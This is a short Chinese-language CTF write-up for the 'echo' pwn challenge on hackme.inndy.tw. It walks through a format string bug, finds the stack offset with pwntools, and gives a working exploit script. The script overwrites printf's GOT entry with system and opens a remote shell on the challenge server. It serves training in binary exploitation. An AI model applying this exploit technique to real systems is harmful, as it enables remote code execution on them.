hackme pwn echo [format string]
题目名称就已经是很明显的提示了!echo ~ 提示:格式化字符串
从IDA中看main:即可看到printf(&s)!
漏洞原理部分:
http://www.cnblogs.com/Ox9A82/p/5429099.html
漏洞刷题提升:
https://www.anquanke.com/post/id/85785
https://www.anquanke.com/post/id/147666
回到这个题,还是先checksec:
结合需要从链接中得到的知识点,我们开始泄露偏移:
输入了%p,输出的是0x100,即是fgets的256 = 0x100,利用工具可以直接得到,代码如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
def exec_fmt(payload):
io = process("./echo")
io.sendline(payload)
info = io.recv()
io.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
得到输出是7,测试一下:
然后,将printf的got表的地址覆盖成system的plt表的地址,然后输入"/bin/sh",即原来是利用printf函数输出该字符串,修改之后即执行system("/bin/sh")
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#io = process("./echo")
io = remote("hackme.inndy.tw", 7711)
elf = ELF("./echo")
system_plt = elf.plt["system"]
printf_got = elf.got["printf"]
payload = fmtstr_payload(7, {printf_got:system_plt})
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00")
io.interactive()